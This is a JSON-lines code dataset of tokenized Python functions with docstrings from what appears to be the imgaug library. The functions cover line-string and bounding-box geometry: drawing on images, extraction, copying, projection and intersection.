{"signature": "def draw_on_image(self, image,<EOL>color=(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>), color_lines=None, color_points=None,<EOL>alpha=<NUM_LIT:1.0>, alpha_lines=None, alpha_points=None,<EOL>size=<NUM_LIT:1>, size_lines=None, size_points=None,<EOL>antialiased=True,<EOL>raise_if_out_of_image=False):", "body": "assert color is not None<EOL>assert alpha is not None<EOL>assert size is not None<EOL>color_lines = color_lines if color_lines is not Noneelse np.float32(color)<EOL>color_points = color_points if color_points is not Noneelse np.float32(color) * <NUM_LIT:0.5><EOL>alpha_lines = alpha_lines if alpha_lines is not Noneelse np.float32(alpha)<EOL>alpha_points = alpha_points if alpha_points is not Noneelse np.float32(alpha)<EOL>size_lines = size_lines if size_lines is not None else size<EOL>size_points = size_points if size_points is not None else size * <NUM_LIT:3><EOL>image = self.draw_lines_on_image(<EOL>image, color=np.array(color_lines).astype(np.uint8),<EOL>alpha=alpha_lines, size=size_lines,<EOL>antialiased=antialiased,<EOL>raise_if_out_of_image=raise_if_out_of_image)<EOL>image = self.draw_points_on_image(<EOL>image, color=np.array(color_points).astype(np.uint8),<EOL>alpha=alpha_points, size=size_points,<EOL>copy=False,<EOL>raise_if_out_of_image=raise_if_out_of_image)<EOL>return image<EOL>", "docstring": "Draw the line string on an image.\n\nParameters\n----------\nimage : ndarray\n    The `(H,W,C)` `uint8` image onto which to draw the line string.\n\ncolor : iterable of int, optional\n    Color to use as RGB, i.e. three values.\n    The color of the line and points are derived from this value,\n    unless they are set.\n\ncolor_lines : None or iterable of int\n    Color to use for the line segments as RGB, i.e. three values.\n    If ``None``, this value is derived from `color`.\n\ncolor_points : None or iterable of int\n    Color to use for the points as RGB, i.e. three values.\n    If ``None``, this value is derived from ``0.5 * color``.\n\nalpha : float, optional\n    Opacity of the line string. Higher values denote more visible\n    points.\n    The alphas of the line and points are derived from this value,\n    unless they are set.\n\nalpha_lines : None or float, optional\n    Opacity of the line string. Higher values denote more visible\n    line string.\n    If ``None``, this value is derived from `alpha`.\n\nalpha_points : None or float, optional\n    Opacity of the line string points. Higher values denote more\n    visible points.\n    If ``None``, this value is derived from `alpha`.\n\nsize : int, optional\n    Size of the line string.\n    The sizes of the line and points are derived from this value,\n    unless they are set.\n\nsize_lines : None or int, optional\n    Thickness of the line segments.\n    If ``None``, this value is derived from `size`.\n\nsize_points : None or int, optional\n    Size of the points in pixels.\n    If ``None``, this value is derived from ``3 * size``.\n\nantialiased : bool, optional\n    Whether to draw the line with anti-aliasing activated.\n    This does currently not affect the point drawing.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the line string is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nndarray\n    Image with line string drawn on it.", "id": "f16276:c0:m26"}
{"signature": "def extract_from_image(self, image, size=<NUM_LIT:1>, pad=True, pad_max=None,<EOL>antialiased=True, prevent_zero_size=True):", "body": "from .bbs import BoundingBox<EOL>assert image.ndim in [<NUM_LIT:2>, <NUM_LIT:3>], (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (image.shape,))<EOL>if len(self.coords) == <NUM_LIT:0> or size <= <NUM_LIT:0>:<EOL><INDENT>if prevent_zero_size:<EOL><INDENT>return np.zeros((<NUM_LIT:1>, <NUM_LIT:1>) + image.shape[<NUM_LIT:2>:], dtype=image.dtype)<EOL><DEDENT>return np.zeros((<NUM_LIT:0>, <NUM_LIT:0>) + image.shape[<NUM_LIT:2>:], dtype=image.dtype)<EOL><DEDENT>xx = self.xx_int<EOL>yy = self.yy_int<EOL>sizeh = (size - <NUM_LIT:1>) / <NUM_LIT:2><EOL>x1 = np.min(xx) - sizeh<EOL>y1 = np.min(yy) - sizeh<EOL>x2 = np.max(xx) + <NUM_LIT:1> + sizeh<EOL>y2 = np.max(yy) + <NUM_LIT:1> + sizeh<EOL>bb = BoundingBox(x1=x1, y1=y1, x2=x2, y2=y2)<EOL>if len(self.coords) == <NUM_LIT:1>:<EOL><INDENT>return bb.extract_from_image(image, pad=pad, pad_max=pad_max,<EOL>prevent_zero_size=prevent_zero_size)<EOL><DEDENT>heatmap = self.draw_lines_heatmap_array(<EOL>image.shape[<NUM_LIT:0>:<NUM_LIT:2>], alpha=<NUM_LIT:1.0>, size=size, antialiased=antialiased)<EOL>if image.ndim == <NUM_LIT:3>:<EOL><INDENT>heatmap = np.atleast_3d(heatmap)<EOL><DEDENT>image_masked = image.astype(np.float32) * heatmap<EOL>extract = bb.extract_from_image(image_masked, pad=pad, pad_max=pad_max,<EOL>prevent_zero_size=prevent_zero_size)<EOL>return np.clip(np.round(extract), <NUM_LIT:0>, <NUM_LIT:255>).astype(np.uint8)<EOL>", "docstring": "Extract the image pixels covered by the line string.\n\nIt will only extract pixels overlapped by the line string.\n\nThis function will by default zero-pad the image if the line string is\npartially/fully outside of the image. This is for consistency with\nthe same implementations for bounding boxes and polygons.\n\nParameters\n----------\nimage : ndarray\n    The image of shape `(H,W,[C])` from which to extract the pixels\n    within the line string.\n\nsize : int, optional\n    Thickness of the line.\n\npad : bool, optional\n    Whether to zero-pad the image if the object is partially/fully\n    outside of it.\n\npad_max : None or int, optional\n    The maximum number of pixels that may be zero-paded on any side,\n    i.e. if this has value ``N`` the total maximum of added pixels\n    is ``4*N``.\n    This option exists to prevent extremely large images as a result of\n    single points being moved very far away during augmentation.\n\nantialiased : bool, optional\n    Whether to apply anti-aliasing to the line string.\n\nprevent_zero_size : bool, optional\n    Whether to prevent height or width of the extracted image from\n    becoming zero. If this is set to True and height or width of the\n    line string is below 1, the height/width will be increased to 1.\n    This can be useful to prevent problems, e.g. with image saving or\n    plotting. If it is set to False, images will be returned as\n    ``(H', W')`` or ``(H', W', 3)`` with ``H`` or ``W`` potentially\n    being 0.\n\nReturns\n-------\nimage : (H',W') ndarray or (H',W',C) ndarray\n    Pixels overlapping with the line string. Zero-padded if the\n    line string is partially/fully outside of the image and\n    ``pad=True``. If `prevent_zero_size` is activated, it is\n    guarantueed that ``H'>0`` and ``W'>0``, otherwise only\n    ``H'>=0`` and ``W'>=0``.", "id": "f16276:c0:m27"}
{"signature": "def concatenate(self, other):", "body": "if not isinstance(other, LineString):<EOL><INDENT>other = LineString(other)<EOL><DEDENT>return self.deepcopy(<EOL>coords=np.concatenate([self.coords, other.coords], axis=<NUM_LIT:0>))<EOL>", "docstring": "Concatenate this line string with another one.\n\nThis will add a line segment between the end point of this line string\nand the start point of `other`.\n\nParameters\n----------\nother : imgaug.augmentables.lines.LineString or ndarray \\\n        or iterable of tuple of number\n    The points to add to this line string.\n\nReturns\n-------\nimgaug.augmentables.lines.LineString\n    New line string with concatenated points.\n    The `label` of this line string will be kept.", "id": "f16276:c0:m28"}
{"signature": "def subdivide(self, points_per_edge):", "body": "if len(self.coords) <= <NUM_LIT:1> or points_per_edge < <NUM_LIT:1>:<EOL><INDENT>return self.deepcopy()<EOL><DEDENT>coords = interpolate_points(self.coords, nb_steps=points_per_edge,<EOL>closed=False)<EOL>return self.deepcopy(coords=coords)<EOL>", "docstring": "Adds ``N`` interpolated points with uniform spacing to each edge.\n\nFor each edge between points ``A`` and ``B`` this adds points\nat ``A + (i/(1+N)) * (B - A)``, where ``i`` is the index of the added\npoint and ``N`` is the number of points to add per edge.\n\nCalling this method two times will split each edge at its center\nand then again split each newly created edge at their center.\nIt is equivalent to calling `subdivide(3)`.\n\nParameters\n----------\npoints_per_edge : int\n    Number of points to interpolate on each edge.\n\nReturns\n-------\nLineString\n    Line string with subdivided edges.", "id": "f16276:c0:m29"}
{"signature": "def to_keypoints(self):", "body": "<EOL>from imgaug.augmentables.kps import Keypoint<EOL>return [Keypoint(x=x, y=y) for (x, y) in self.coords]<EOL>", "docstring": "Convert the line string points to keypoints.\n\nReturns\n-------\nlist of imgaug.augmentables.kps.Keypoint\n    Points of the line string as keypoints.", "id": "f16276:c0:m30"}
{"signature": "def to_bounding_box(self):", "body": "from .bbs import BoundingBox<EOL>if len(self.coords) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>return BoundingBox(x1=np.min(self.xx), y1=np.min(self.yy),<EOL>x2=np.max(self.xx), y2=np.max(self.yy),<EOL>label=self.label)<EOL>", "docstring": "Generate a bounding box encapsulating the line string.\n\nReturns\n-------\nNone or imgaug.augmentables.bbs.BoundingBox\n    Bounding box encapsulating the line string.\n    ``None`` if the line string contained no points.", "id": "f16276:c0:m31"}
{"signature": "def to_polygon(self):", "body": "from .polys import Polygon<EOL>return Polygon(self.coords, label=self.label)<EOL>", "docstring": "Generate a polygon from the line string points.\n\nReturns\n-------\nimgaug.augmentables.polys.Polygon\n    Polygon with the same corner points as the line string.\n    Note that the polygon might be invalid, e.g. contain less than 3\n    points or have self-intersections.", "id": "f16276:c0:m32"}
{"signature": "def to_heatmap(self, image_shape, size_lines=<NUM_LIT:1>, size_points=<NUM_LIT:0>,<EOL>antialiased=True, raise_if_out_of_image=False):", "body": "from .heatmaps import HeatmapsOnImage<EOL>return HeatmapsOnImage(<EOL>self.draw_heatmap_array(<EOL>image_shape, size_lines=size_lines, size_points=size_points,<EOL>antialiased=antialiased,<EOL>raise_if_out_of_image=raise_if_out_of_image),<EOL>shape=image_shape<EOL>)<EOL>", "docstring": "Generate a heatmap object from the line string.\n\nThis is similar to\n:func:`imgaug.augmentables.lines.LineString.draw_lines_heatmap_array`\nexecuted with ``alpha=1.0``. The result is wrapped in a\n``HeatmapsOnImage`` object instead of just an array.\nNo points are drawn.\n\nParameters\n----------\nimage_shape : tuple of int\n    The shape of the image onto which to draw the line mask.\n\nsize_lines : int, optional\n    Thickness of the line.\n\nsize_points : int, optional\n    Size of the points in pixels.\n\nantialiased : bool, optional\n    Whether to draw the line with anti-aliasing activated.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the line string is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nimgaug.augmentables.heatmaps.HeatmapOnImage\n    Heatmap object containing drawn line string.", "id": "f16276:c0:m33"}
{"signature": "def to_segmentation_map(self, image_shape, size_lines=<NUM_LIT:1>, size_points=<NUM_LIT:0>,<EOL>raise_if_out_of_image=False):", "body": "from .segmaps import SegmentationMapOnImage<EOL>return SegmentationMapOnImage(<EOL>self.draw_mask(<EOL>image_shape, size_lines=size_lines, size_points=size_points,<EOL>raise_if_out_of_image=raise_if_out_of_image),<EOL>shape=image_shape<EOL>)<EOL>", "docstring": "Generate a segmentation map object from the line string.\n\nThis is similar to\n:func:`imgaug.augmentables.lines.LineString.draw_mask`.\nThe result is wrapped in a ``SegmentationMapOnImage`` object\ninstead of just an array.\n\nParameters\n----------\nimage_shape : tuple of int\n    The shape of the image onto which to draw the line mask.\n\nsize_lines : int, optional\n    Thickness of the line.\n\nsize_points : int, optional\n    Size of the points in pixels.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the line string is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nimgaug.augmentables.segmaps.SegmentationMapOnImage\n    Segmentation map object containing drawn line string.", "id": "f16276:c0:m34"}
{"signature": "def coords_almost_equals(self, other, max_distance=<NUM_LIT>, points_per_edge=<NUM_LIT:8>):", "body": "if isinstance(other, LineString):<EOL><INDENT>pass<EOL><DEDENT>elif isinstance(other, tuple):<EOL><INDENT>other = LineString([other])<EOL><DEDENT>else:<EOL><INDENT>other = LineString(other)<EOL><DEDENT>if len(self.coords) == <NUM_LIT:0> and len(other.coords) == <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>elif <NUM_LIT:0> in [len(self.coords), len(other.coords)]:<EOL><INDENT>return False<EOL><DEDENT>self_subd = self.subdivide(points_per_edge)<EOL>other_subd = other.subdivide(points_per_edge)<EOL>dist_self2other = self_subd.compute_pointwise_distances(other_subd)<EOL>dist_other2self = other_subd.compute_pointwise_distances(self_subd)<EOL>dist = max(np.max(dist_self2other), np.max(dist_other2self))<EOL>return  dist < max_distance<EOL>", "docstring": "Compare this and another LineString's coordinates.\n\nThis is an approximate method based on pointwise distances and can\nin rare corner cases produce wrong outputs.\n\nParameters\n----------\nother : imgaug.augmentables.lines.LineString \\\n        or tuple of number \\\n        or ndarray \\\n        or list of ndarray \\\n        or list of tuple of number\n    The other line string or its coordinates.\n\nmax_distance : float\n    Max distance of any point from the other line string before\n    the two line strings are evaluated to be unequal.\n\npoints_per_edge : int, optional\n    How many points to interpolate on each edge.\n\nReturns\n-------\nbool\n    Whether the two LineString's coordinates are almost identical,\n    i.e. the max distance is below the threshold.\n    If both have no coordinates, ``True`` is returned.\n    If only one has no coordinates, ``False`` is returned.\n    Beyond that, the number of points is not evaluated.", "id": "f16276:c0:m35"}
{"signature": "def almost_equals(self, other, max_distance=<NUM_LIT>, points_per_edge=<NUM_LIT:8>):", "body": "if self.label != other.label:<EOL><INDENT>return False<EOL><DEDENT>return self.coords_almost_equals(<EOL>other, max_distance=max_distance, points_per_edge=points_per_edge)<EOL>", "docstring": "Compare this and another LineString.\n\nParameters\n----------\nother: imgaug.augmentables.lines.LineString\n    The other line string. Must be a LineString instance, not just\n    its coordinates.\n\nmax_distance : float, optional\n    See :func:`imgaug.augmentables.lines.LineString.coords_almost_equals`.\n\npoints_per_edge : int, optional\n    See :func:`imgaug.augmentables.lines.LineString.coords_almost_equals`.\n\nReturns\n-------\nbool\n    ``True`` if the coordinates are almost equal according to\n    :func:`imgaug.augmentables.lines.LineString.coords_almost_equals`\n    and additionally the labels are identical. Otherwise ``False``.", "id": "f16276:c0:m36"}
{"signature": "def copy(self, coords=None, label=None):", "body": "return LineString(coords=self.coords if coords is None else coords,<EOL>label=self.label if label is None else label)<EOL>", "docstring": "Create a shallow copy of the LineString object.\n\nParameters\n----------\ncoords : None or iterable of tuple of number or ndarray\n    If not ``None``, then the coords of the copied object will be set\n    to this value.\n\nlabel : None or str\n    If not ``None``, then the label of the copied object will be set to\n    this value.\n\nReturns\n-------\nimgaug.augmentables.lines.LineString\n    Shallow copy.", "id": "f16276:c0:m37"}
{"signature": "def deepcopy(self, coords=None, label=None):", "body": "return LineString(<EOL>coords=np.copy(self.coords) if coords is None else coords,<EOL>label=copylib.deepcopy(self.label) if label is None else label)<EOL>", "docstring": "Create a deep copy of the BoundingBox object.\n\nParameters\n----------\ncoords : None or iterable of tuple of number or ndarray\n    If not ``None``, then the coords of the copied object will be set\n    to this value.\n\nlabel : None or str\n    If not ``None``, then the label of the copied object will be set to\n    this value.\n\nReturns\n-------\nimgaug.augmentables.lines.LineString\n    Deep copy.", "id": "f16276:c0:m38"}
{"signature": "@property<EOL><INDENT>def empty(self):<DEDENT>", "body": "return len(self.line_strings) == <NUM_LIT:0><EOL>", "docstring": "Returns whether this object contains zero line strings.\n\nReturns\n-------\nbool\n    True if this object contains zero line strings.", "id": "f16276:c1:m1"}
{"signature": "def on(self, image):", "body": "shape = normalize_shape(image)<EOL>if shape[<NUM_LIT:0>:<NUM_LIT:2>] == self.shape[<NUM_LIT:0>:<NUM_LIT:2>]:<EOL><INDENT>return self.deepcopy()<EOL><DEDENT>line_strings = [ls.project(self.shape, shape)<EOL>for ls in self.line_strings]<EOL>return self.deepcopy(line_strings=line_strings, shape=shape)<EOL>", "docstring": "Project bounding boxes from one image to a new one.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    The new image onto which to project.\n    Either an image with shape ``(H,W,[C])`` or a tuple denoting\n    such an image shape.\n\nReturns\n-------\nline_strings : imgaug.augmentables.lines.LineStrings\n    Object containing all projected line strings.", "id": "f16276:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_xy_arrays(cls, xy, shape):<DEDENT>", "body": "lss = []<EOL>for xy_ls in xy:<EOL><INDENT>lss.append(LineString(xy_ls))<EOL><DEDENT>return cls(lss, shape)<EOL>", "docstring": "Convert an `(N,M,2)` ndarray to a LineStringsOnImage object.\n\nThis is the inverse of\n:func:`imgaug.augmentables.lines.LineStringsOnImage.to_xy_array`.\n\nParameters\n----------\nxy : (N,M,2) ndarray or iterable of (M,2) ndarray\n    Array containing the point coordinates ``N`` line strings\n    with each ``M`` points given as ``(x,y)`` coordinates.\n    ``M`` may differ if an iterable of arrays is used.\n    Each array should usually be of dtype ``float32``.\n\nshape : tuple of int\n    ``(H,W,[C])`` shape of the image on which the line strings are\n    placed.\n\nReturns\n-------\nimgaug.augmentables.lines.LineStringsOnImage\n    Object containing a list of ``LineString`` objects following the\n    provided point coordinates.", "id": "f16276:c1:m3"}
{"signature": "def to_xy_arrays(self, dtype=np.float32):", "body": "from .. import dtypes as iadt<EOL>return [iadt.restore_dtypes_(np.copy(ls.coords), dtype)<EOL>for ls in self.line_strings]<EOL>", "docstring": "Convert this object to an iterable of ``(M,2)`` arrays of points.\n\nThis is the inverse of\n:func:`imgaug.augmentables.lines.LineStringsOnImage.from_xy_array`.\n\nParameters\n----------\ndtype : numpy.dtype, optional\n    Desired output datatype of the ndarray.\n\nReturns\n-------\nlist of ndarray\n    The arrays of point coordinates, each given as ``(M,2)``.", "id": "f16276:c1:m4"}
{"signature": "def draw_on_image(self, image,<EOL>color=(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>), color_lines=None, color_points=None,<EOL>alpha=<NUM_LIT:1.0>, alpha_lines=None, alpha_points=None,<EOL>size=<NUM_LIT:1>, size_lines=None, size_points=None,<EOL>antialiased=True,<EOL>raise_if_out_of_image=False):", "body": "<EOL>for ls in self.line_strings:<EOL><INDENT>image = ls.draw_on_image(<EOL>image,<EOL>color=color, color_lines=color_lines, color_points=color_points,<EOL>alpha=alpha, alpha_lines=alpha_lines, alpha_points=alpha_points,<EOL>size=size, size_lines=size_lines, size_points=size_points,<EOL>antialiased=antialiased,<EOL>raise_if_out_of_image=raise_if_out_of_image<EOL>)<EOL><DEDENT>return image<EOL>", "docstring": "Draw all line strings onto a given image.\n\nParameters\n----------\nimage : ndarray\n    The `(H,W,C)` `uint8` image onto which to draw the line strings.\n\ncolor : iterable of int, optional\n    Color to use as RGB, i.e. three values.\n    The color of the lines and points are derived from this value,\n    unless they are set.\n\ncolor_lines : None or iterable of int\n    Color to use for the line segments as RGB, i.e. three values.\n    If ``None``, this value is derived from `color`.\n\ncolor_points : None or iterable of int\n    Color to use for the points as RGB, i.e. three values.\n    If ``None``, this value is derived from ``0.5 * color``.\n\nalpha : float, optional\n    Opacity of the line strings. Higher values denote more visible\n    points.\n    The alphas of the line and points are derived from this value,\n    unless they are set.\n\nalpha_lines : None or float, optional\n    Opacity of the line strings. Higher values denote more visible\n    line string.\n    If ``None``, this value is derived from `alpha`.\n\nalpha_points : None or float, optional\n    Opacity of the line string points. Higher values denote more\n    visible points.\n    If ``None``, this value is derived from `alpha`.\n\nsize : int, optional\n    Size of the line strings.\n    The sizes of the line and points are derived from this value,\n    unless they are set.\n\nsize_lines : None or int, optional\n    Thickness of the line segments.\n    If ``None``, this value is derived from `size`.\n\nsize_points : None or int, optional\n    Size of the points in pixels.\n    If ``None``, this value is derived from ``3 * size``.\n\nantialiased : bool, optional\n    Whether to draw the lines with anti-aliasing activated.\n    This does currently not affect the point drawing.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if a line string is fully\n    outside of the image. If set to False, no error will be raised and\n    only the parts inside the image will be drawn.\n\nReturns\n-------\nndarray\n    Image with line strings drawn on it.", "id": "f16276:c1:m5"}
{"signature": "def remove_out_of_image(self, fully=True, partly=False):", "body": "lss_clean = [ls for ls in self.line_strings<EOL>if not ls.is_out_of_image(<EOL>self.shape, fully=fully, partly=partly)]<EOL>return LineStringsOnImage(lss_clean, shape=self.shape)<EOL>", "docstring": "Remove all line strings that are fully/partially outside of the image.\n\nParameters\n----------\nfully : bool, optional\n    Whether to remove line strings that are fully outside of the image.\n\npartly : bool, optional\n    Whether to remove line strings that are partially outside of the\n    image.\n\nReturns\n-------\nimgaug.augmentables.lines.LineStringsOnImage\n    Reduced set of line strings, with those that were fully/partially\n    outside of the image removed.", "id": "f16276:c1:m6"}
{"signature": "def clip_out_of_image(self):", "body": "lss_cut = [ls_clipped<EOL>for ls in self.line_strings<EOL>for ls_clipped in ls.clip_out_of_image(self.shape)]<EOL>return LineStringsOnImage(lss_cut, shape=self.shape)<EOL>", "docstring": "Clip off all parts of the line strings that are outside of the image.\n\nReturns\n-------\nimgaug.augmentables.lines.LineStringsOnImage\n    Line strings, clipped to fall within the image dimensions.", "id": "f16276:c1:m7"}
{"signature": "def shift(self, top=None, right=None, bottom=None, left=None):", "body": "lss_new = [ls.shift(top=top, right=right, bottom=bottom, left=left)<EOL>for ls in self.line_strings]<EOL>return LineStringsOnImage(lss_new, shape=self.shape)<EOL>", "docstring": "Shift/move the line strings from one or more image sides.\n\nParameters\n----------\ntop : None or int, optional\n    Amount of pixels by which to shift all bounding boxes from the\n    top.\n\nright : None or int, optional\n    Amount of pixels by which to shift all bounding boxes from the\n    right.\n\nbottom : None or int, optional\n    Amount of pixels by which to shift all bounding boxes from the\n    bottom.\n\nleft : None or int, optional\n    Amount of pixels by which to shift all bounding boxes from the\n    left.\n\nReturns\n-------\nimgaug.augmentables.lines.LineStringsOnImage\n    Shifted line strings.", "id": "f16276:c1:m8"}
{"signature": "def copy(self, line_strings=None, shape=None):", "body": "lss = self.line_strings if line_strings is None else line_strings<EOL>shape = self.shape if shape is None else shape<EOL>return LineStringsOnImage(line_strings=lss, shape=shape)<EOL>", "docstring": "Create a shallow copy of the LineStringsOnImage object.\n\nParameters\n----------\nline_strings : None \\\n               or list of imgaug.augmentables.lines.LineString, optional\n    List of line strings on the image.\n    If not ``None``, then the ``line_strings`` attribute of the copied\n    object will be set to this value.\n\nshape : None or tuple of int or ndarray, optional\n    The shape of the image on which the objects are placed.\n    Either an image with shape ``(H,W,[C])`` or a tuple denoting\n    such an image shape.\n    If not ``None``, then the ``shape`` attribute of the copied object\n    will be set to this value.\n\nReturns\n-------\nimgaug.augmentables.lines.LineStringsOnImage\n    Shallow copy.", "id": "f16276:c1:m9"}
{"signature": "def deepcopy(self, line_strings=None, shape=None):", "body": "lss = self.line_strings if line_strings is None else line_strings<EOL>shape = self.shape if shape is None else shape<EOL>return LineStringsOnImage(<EOL>line_strings=[ls.deepcopy() for ls in lss],<EOL>shape=tuple(shape))<EOL>", "docstring": "Create a deep copy of the LineStringsOnImage object.\n\nParameters\n----------\nline_strings : None \\\n               or list of imgaug.augmentables.lines.LineString, optional\n    List of line strings on the image.\n    If not ``None``, then the ``line_strings`` attribute of the copied\n    object will be set to this value.\n\nshape : None or tuple of int or ndarray, optional\n    The shape of the image on which the objects are placed.\n    Either an image with shape ``(H,W,[C])`` or a tuple denoting\n    such an image shape.\n    If not ``None``, then the ``shape`` attribute of the copied object\n    will be set to this value.\n\nReturns\n-------\nimgaug.augmentables.lines.LineStringsOnImage\n    Deep copy.", "id": "f16276:c1:m10"}
{"signature": "def __init__(self, x1, y1, x2, y2, label=None):", "body": "if x1 > x2:<EOL><INDENT>x2, x1 = x1, x2<EOL><DEDENT>ia.do_assert(x2 >= x1)<EOL>if y1 > y2:<EOL><INDENT>y2, y1 = y1, y2<EOL><DEDENT>ia.do_assert(y2 >= y1)<EOL>self.x1 = x1<EOL>self.y1 = y1<EOL>self.x2 = x2<EOL>self.y2 = y2<EOL>self.label = label<EOL>", "docstring": "Create a new BoundingBox instance.", "id": "f16277:c0:m0"}
{"signature": "@property<EOL><INDENT>def x1_int(self):<DEDENT>", "body": "return int(np.round(self.x1))<EOL>", "docstring": "Return the x-coordinate of the top left corner as an integer.\n\nReturns\n-------\nint\n    X-coordinate of the top left corner, rounded to the closest integer.", "id": "f16277:c0:m1"}
{"signature": "@property<EOL><INDENT>def y1_int(self):<DEDENT>", "body": "return int(np.round(self.y1))<EOL>", "docstring": "Return the y-coordinate of the top left corner as an integer.\n\nReturns\n-------\nint\n    Y-coordinate of the top left corner, rounded to the closest integer.", "id": "f16277:c0:m2"}
{"signature": "@property<EOL><INDENT>def x2_int(self):<DEDENT>", "body": "return int(np.round(self.x2))<EOL>", "docstring": "Return the x-coordinate of the bottom left corner as an integer.\n\nReturns\n-------\nint\n    X-coordinate of the bottom left corner, rounded to the closest integer.", "id": "f16277:c0:m3"}
{"signature": "@property<EOL><INDENT>def y2_int(self):<DEDENT>", "body": "return int(np.round(self.y2))<EOL>", "docstring": "Return the y-coordinate of the bottom left corner as an integer.\n\nReturns\n-------\nint\n    Y-coordinate of the bottom left corner, rounded to the closest integer.", "id": "f16277:c0:m4"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self.y2 - self.y1<EOL>", "docstring": "Estimate the height of the bounding box.\n\nReturns\n-------\nnumber\n    Height of the bounding box.", "id": "f16277:c0:m5"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self.x2 - self.x1<EOL>", "docstring": "Estimate the width of the bounding box.\n\nReturns\n-------\nnumber\n    Width of the bounding box.", "id": "f16277:c0:m6"}
{"signature": "@property<EOL><INDENT>def center_x(self):<DEDENT>", "body": "return self.x1 + self.width/<NUM_LIT:2><EOL>", "docstring": "Estimate the x-coordinate of the center point of the bounding box.\n\nReturns\n-------\nnumber\n    X-coordinate of the center point of the bounding box.", "id": "f16277:c0:m7"}
{"signature": "@property<EOL><INDENT>def center_y(self):<DEDENT>", "body": "return self.y1 + self.height/<NUM_LIT:2><EOL>", "docstring": "Estimate the y-coordinate of the center point of the bounding box.\n\nReturns\n-------\nnumber\n    Y-coordinate of the center point of the bounding box.", "id": "f16277:c0:m8"}
{"signature": "@property<EOL><INDENT>def area(self):<DEDENT>", "body": "return self.height * self.width<EOL>", "docstring": "Estimate the area of the bounding box.\n\nReturns\n-------\nnumber\n    Area of the bounding box, i.e. `height * width`.", "id": "f16277:c0:m9"}
{"signature": "def contains(self, other):", "body": "if isinstance(other, tuple):<EOL><INDENT>x, y = other<EOL><DEDENT>else:<EOL><INDENT>x, y = other.x, other.y<EOL><DEDENT>return self.x1 <= x <= self.x2 and self.y1 <= y <= self.y2<EOL>", "docstring": "Estimate whether the bounding box contains a point.\n\nParameters\n----------\nother : tuple of number or imgaug.Keypoint\n    Point to check for.\n\nReturns\n-------\nbool\n    True if the point is contained in the bounding box, False otherwise.", "id": "f16277:c0:m10"}
{"signature": "def project(self, from_shape, to_shape):", "body": "coords_proj = project_coords([(self.x1, self.y1), (self.x2, self.y2)],<EOL>from_shape, to_shape)<EOL>return self.copy(<EOL>x1=coords_proj[<NUM_LIT:0>][<NUM_LIT:0>],<EOL>y1=coords_proj[<NUM_LIT:0>][<NUM_LIT:1>],<EOL>x2=coords_proj[<NUM_LIT:1>][<NUM_LIT:0>],<EOL>y2=coords_proj[<NUM_LIT:1>][<NUM_LIT:1>],<EOL>label=self.label)<EOL>", "docstring": "Project the bounding box onto a differently shaped image.\n\nE.g. if the bounding box is on its original image at\nx1=(10 of 100 pixels) and y1=(20 of 100 pixels) and is projected onto\na new image with size (width=200, height=200), its new position will\nbe (x1=20, y1=40). (Analogous for x2/y2.)\n\nThis is intended for cases where the original image is resized.\nIt cannot be used for more complex changes (e.g. padding, cropping).\n\nParameters\n----------\nfrom_shape : tuple of int or ndarray\n    Shape of the original image. (Before resize.)\n\nto_shape : tuple of int or ndarray\n    Shape of the new image. (After resize.)\n\nReturns\n-------\nout : imgaug.BoundingBox\n    BoundingBox object with new coordinates.", "id": "f16277:c0:m11"}
{"signature": "def extend(self, all_sides=<NUM_LIT:0>, top=<NUM_LIT:0>, right=<NUM_LIT:0>, bottom=<NUM_LIT:0>, left=<NUM_LIT:0>):", "body": "return BoundingBox(<EOL>x1=self.x1 - all_sides - left,<EOL>x2=self.x2 + all_sides + right,<EOL>y1=self.y1 - all_sides - top,<EOL>y2=self.y2 + all_sides + bottom<EOL>)<EOL>", "docstring": "Extend the size of the bounding box along its sides.\n\nParameters\n----------\nall_sides : number, optional\n    Value by which to extend the bounding box size along all sides.\n\ntop : number, optional\n    Value by which to extend the bounding box size along its top side.\n\nright : number, optional\n    Value by which to extend the bounding box size along its right side.\n\nbottom : number, optional\n    Value by which to extend the bounding box size along its bottom side.\n\nleft : number, optional\n    Value by which to extend the bounding box size along its left side.\n\nReturns\n-------\nimgaug.BoundingBox\n    Extended bounding box.", "id": "f16277:c0:m12"}
{"signature": "def intersection(self, other, default=None):", "body": "x1_i = max(self.x1, other.x1)<EOL>y1_i = max(self.y1, other.y1)<EOL>x2_i = min(self.x2, other.x2)<EOL>y2_i = min(self.y2, other.y2)<EOL>if x1_i > x2_i or y1_i > y2_i:<EOL><INDENT>return default<EOL><DEDENT>else:<EOL><INDENT>return BoundingBox(x1=x1_i, y1=y1_i, x2=x2_i, y2=y2_i)<EOL><DEDENT>", "docstring": "Compute the intersection bounding box of this bounding box and another one.\n\nNote that in extreme cases, the intersection can be a single point, meaning that the intersection bounding box\nwill exist, but then also has a height and width of zero.\n\nParameters\n----------\nother : imgaug.BoundingBox\n    Other bounding box with which to generate the intersection.\n\ndefault : any, optional\n    Default value to return if there is no intersection.\n\nReturns\n-------\nimgaug.BoundingBox or any\n    Intersection bounding box of the two bounding boxes if there is an intersection.\n    If there is no intersection, the default value will be returned, which can by anything.", "id": "f16277:c0:m13"}
